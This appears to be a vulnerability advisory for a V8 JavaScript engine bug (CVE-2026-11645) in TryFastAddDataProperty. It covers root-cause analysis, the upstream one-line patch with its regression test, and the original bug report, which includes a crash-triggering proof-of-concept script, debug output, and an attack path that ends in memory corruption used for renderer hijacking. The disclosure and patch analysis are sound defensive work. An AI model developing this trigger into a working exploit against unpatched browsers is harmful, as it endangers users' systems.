CVE-2026-11645
Overview
Background
- Hidden class (`Map`)
- V8 attaches a
Mapto every object describing its shape; adding a property normally follows a fast transition to a newMapsharing descriptors. - Dictionary map
- when an object’s shape becomes unpredictable, V8 normalizes it into a slow, hash-table-backed
Map(is_dictionary_map()), storing properties in aNameDictionaryrather than in-object slots. - `TryFastAddDataProperty`
- a fast path in
src/objects/js-objects.ccthat adds a data property by taking a precomputed transition and callingJSObject::MigrateToMapon the resultingMap. - Class fields on `extends Function`
- a subclass of
Functionwhose instance is a constructor-created function object; installing its class fields drives repeated fast property additions.
Root Cause Analysis
TryFastAddDataProperty computes a target Map, then calls Map::PrepareForDataProperty to reconfigure the last-added descriptor (for example promoting a field’s representation from Smi to Double when the initial value changes between instantiations). The code assumed PrepareForDataProperty returns a compatible fast transition map and unconditionally passed its result to JSObject::MigrateToMap. However, PrepareForDataProperty may instead normalize the map, returning a slow is_dictionary_map() dictionary map. Migrating an object to a dictionary map along this fast path violates the fast-path invariant that the object still has in-object property storage matching the descriptor layout, so the subsequent property write operates against a mismatched, dictionary-backed layout.
The fix aborts the fast path with return false whenever the prepared map is a dictionary map, forcing the standard slow property-addition path to handle the write correctly.
Map::PrepareForDataProperty is not guaranteed to yield a fast transition map; it can normalize to a dictionary map, and TryFastAddDataProperty treated that slow map as if it were still fast, corrupting the object’s property storage.Attack Path
- Craft the class shape
Define
class C extends Functionwith a computed class field so instantiation exercises the fast data-property transition path. - Establish the transition
Create a first instance so V8 records the field’s transition (
MapA -> MapB) with aSmirepresentation. - Force reconfiguration
Change the field’s value to a
Doublebefore creating a second instance, soTryFastAddDataPropertyreconfigures the descriptor viaMap::PrepareForDataProperty. - Trigger normalization
Cause
PrepareForDataPropertyto normalizeMapBinto a dictionary map, which the unpatched fast path then migrates to and writes against, producing out-of-bounds/type-confused property storage access. - Exploit the corruption Leverage the resulting memory corruption for information disclosure or control-flow hijacking in the renderer.
Impact Assessment
Changed Functions
| Function | Change | Notes |
|---|---|---|
Ctest/mjsunit/regress/regress-crbug-506689381.js |
modified |
Files Changed
src/objects/js-objects.cctest/mjsunit/regress/regress-crbug-506689381.js
Audit Directions
- Unchecked results of normalization-capable helpersAudit call sites of
Map::PrepareForDataProperty,Map::ReconfigureExistingProperty, and similar routines that may return a dictionary map, ensuring callers on fast paths checkis_dictionary_map()before assuming a fast transition. - Representation reconfiguration on repeated instantiationReview fast property-addition paths where a field’s representation can change (
SmitoDouble/Tagged) between object creations, since these trigger in-placeMapreconfiguration that can normalize. - `extends Function` / callable objects with class fieldsScrutinize property installation on constructor-created function objects and other exotic receivers where fast-path assumptions about in-object storage may not hold.
Patch
From 3c869652b039fc1fc9fbe035c6af879317e8b9f3 Mon Sep 17 00:00:00 2001 From: Leszek Swirski <[email protected]> Date: Mon, 04 May 2026 12:27:58 +0200 Subject: [PATCH] [objects] Abort TryFastAddDataProperty if map becomes slow When class fields are added to a constructor-created function object when the class extends Function, TryFastAddDataProperty is invoked to perform a fast transition. However, Map::PrepareForDataProperty may instead normalize the map and return a slow dictionary map. This CL fixes the issue by aborting the fast transition in TryFastAddDataProperty and returning false if Map::PrepareForDataProperty returns a dictionary map, falling back to the standard slow property addition path. TAG=agy CONV=7233c224-ccbc-421c-88b3-34be1f425294 Change-Id: If323afa0297782cd7a13efb02368e0dfdec00707 Fixed: 506689381 Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7807043 Commit-Queue: Leszek Swirski <[email protected]> Reviewed-by: Igor Sheludko <[email protected]> Auto-Submit: Leszek Swirski <[email protected]> Cr-Commit-Position: refs/heads/main@{#107009} --- diff --git a/src/objects/js-objects.cc b/src/objects/js-objects.cc index 876ad24..2d37866 100644 --- a/src/objects/js-objects.cc +++ b/src/objects/js-objects.cc @@ -3704,6 +3704,7 @@ InternalIndex descriptor = new_map->LastAdded(); new_map = Map::PrepareForDataProperty(isolate, new_map, descriptor, PropertyConstness::kConst, value); + if (new_map->is_dictionary_map()) return false; JSObject::MigrateToMap(isolate, object, new_map); // TODO(leszeks): Avoid re-loading the property details, which we already // loaded in PrepareForDataProperty. diff --git a/test/mjsunit/regress/regress-crbug-506689381.js b/test/mjsunit/regress/regress-crbug-506689381.js new file mode 100644 index 0000000..6ba2dc8 --- /dev/null +++ b/test/mjsunit/regress/regress-crbug-506689381.js @@ -0,0 +1,20 @@ +// Copyright 2026 the V8 project authors. All rights reserved. +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +let key = 'AA'; +let value = 2; +class C extends Function { + [key] = value; +} + +// First object creation triggers transition MapA----(AA, kData, SMI)--->MapB +let o1 = new C('\'use strict\''); + +value = 1.1; + +// Second object creation triggers TryFastAddDataProperty() which reconfigures +// the property from Smi to Double. This reconfigures MapB in-place (or +// normalizes it). TryFastAddDataProperty must not crash if the map is +// normalized during preparation. +let o2 = new C('\'use strict\'');
Regression Test / PoC
diff --git a/test/mjsunit/regress/regress-crbug-506689381.js b/test/mjsunit/regress/regress-crbug-506689381.js
new file mode 100644
index 0000000..6ba2dc8
--- /dev/null
+++ b/test/mjsunit/regress/regress-crbug-506689381.js
@@ -0,0 +1,20 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+let key = 'AA';
+let value = 2;
+class C extends Function {
+ [key] = value;
+}
+
+// First object creation triggers transition MapA----(AA, kData, SMI)--->MapB
+let o1 = new C('\'use strict\'');
+
+value = 1.1;
+
+// Second object creation triggers TryFastAddDataProperty() which reconfigures
+// the property from Smi to Double. This reconfigures MapB in-place (or
+// normalizes it). TryFastAddDataProperty must not crash if the map is
+// normalized during preparation.
+let o2 = new C('\'use strict\'');
Original Bug Report
V8 TryFastAddDataProperty descriptor-array OOB access
REPRODUCE
poc.js:
let key = "AA";
let value = 2;
class C extends Function {
[key] = value;
}
for (let i = 0; i < 5; i++) {
function f() {
value = +f;
}
new C("'use strict'");
f();
}
V8 must be built with a debug configuration. Execute v8 as follows:
../x64.debug/d8 \
./poc.js
This will result in the following crash:
#
# Fatal error in ../../src/objects/descriptor-array-inl.h, line 282
# Debug check failed: descriptor_number.as_int() < number_of_descriptors() (3 vs. 0).
#
#
#
#FailureMessage Object: 0x7fffffffb088
==== C stack trace ===============================
../x64.debug/d8(v8::base::debug::StackTrace::StackTrace()+0x29) [0x555565fedbe9]
../x64.debug/d8(+0x10a94acd) [0x555565fe8acd]
../x64.debug/d8(v8::base::PrintStackTraceIfAvailable()+0x14) [0x555565fc3444]
../x64.debug/d8(V8_Fatal(char const*, int, char const*, ...)+0x1f9) [0x555565fc3bf9]
../x64.debug/d8(+0x10a6f4bc) [0x555565fc34bc]
../x64.debug/d8(V8_Dcheck(char const*, int, char const*)+0x4d) [0x555565fc3cfd]
../x64.debug/d8(v8::internal::DescriptorArray::GetDetails(v8::internal::InternalIndex)+0x67) [0x55555f5e5857]
../x64.debug/d8(+0xb0757a4) [0x5555605c97a4]
../x64.debug/d8(v8::internal::JSObject::CreateDataProperty(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::JSObject>, v8::internal::PropertyKey, v8::internal::DirectHandle<v8::internal::Object>, v8::Maybe<v8::internal::ShouldThrow>)+0x7d) [0x5555605b733d]
../x64.debug/d8(v8::internal::JSReceiver::CreateDataProperty(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::JSReceiver>, v8::internal::PropertyKey, v8::internal::DirectHandle<v8::internal::Object>, v8::Maybe<v8::internal::ShouldThrow>)+0xd8) [0x5555605ad5f8]
../x64.debug/d8(v8::internal::JSReceiver::CreateDataProperty(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::Union<v8::internal::Smi, v8::internal::HeapNumber, v8::internal::BigInt, v8::internal::String, v8::internal::Symbol, v8::internal::Boolean, v8::internal::Null, v8::internal::Undefined, v8::internal::JSReceiver>>, v8::internal::PropertyKey, v8::internal::DirectHandle<v8::internal::Object>, v8::Maybe<v8::internal::ShouldThrow>)+0x146) [0x5555605b72a6]
../x64.debug/d8(v8::internal::Runtime::DefineObjectOwnProperty(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::Union<v8::internal::Smi, v8::internal::HeapNumber, v8::internal::BigInt, v8::internal::String, v8::internal::Symbol, v8::internal::Boolean, v8::internal::Null, v8::internal::Undefined, v8::internal::JSReceiver>>, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::StoreOrigin)+0x58a) [0x555560aea4ba]
../x64.debug/d8(+0xb59a851) [0x555560aee851]
../x64.debug/d8(v8::internal::Runtime_DefineObjectOwnProperty(int, unsigned long*, v8::internal::Isolate*)+0x129) [0x555560aee669]
../x64.debug/d8(+0xfa73d3d) [0x555564fc7d3d]
CREDIT INFORMATION
Reporter credit: [303f06e3]